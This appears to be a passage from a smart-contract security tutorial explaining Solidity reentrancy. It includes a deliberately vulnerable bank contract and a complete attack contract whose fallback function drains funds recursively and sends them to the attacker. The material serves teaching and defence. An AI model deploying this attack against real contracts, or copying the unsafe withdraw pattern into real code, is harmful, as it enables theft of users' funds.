This depends on the order in which the contract performs operations. This vulnerability exists because the withdraw function can be called multiple times before it completes execution.
Bad Reentrancy Code:
pragma solidity ^0.6.6;
contract simpleReentrancy {
mapping (address => uint) private balances;
function deposit() public payable {
require((balances[msg.sender] + msg.value) >= balances[msg.sender]);
balances[msg.sender] += msg.value;
}
function withdraw(uint withdrawAmount) public returns (uint) {
require(withdrawAmount <= balances[msg.sender]);
msg.sender.call.value(withdrawAmount)("");
balances[msg.sender] -= withdrawAmount;
return balances[msg.sender];
}
function getBalance() public view returns (uint){
return balances[msg.sender];
}
}
In the attack code, the attack() function is called and a withdrawal is initiated. The msg.sender.call.value(withdrawAmount)(""); line is executed before the balance is subtracted. This allows code to run after the balance check but before the balance is updated. This triggers the fallback function shown below, which recursively drains funds from the contract and transfers them to the attacker’s address.
Attack Code:
interface targetInterface{
function deposit() external payable;
function withdraw(uint withdrawAmount) external;
}
contract simpleReentrancyAttack {
targetInterface bankAddress = targetInterface(ADD_TARGET_ADDRESS);
uint amount = 1 ether;
function deposit() public payable{
bankAddress.deposit.value(amount)();
}
function getTargetBalance() public view returns(uint){
return address(bankAddress).balance;
}
function attack() public payable{
bankAddress.withdraw(amount);
}
function retrieveStolenFunds() public {
msg.sender.transfer(address(this).balance);
}
fallback () external payable{
if (address(bankAddress).balance >= amount){
bankAddress.withdraw(amount);
}
}
}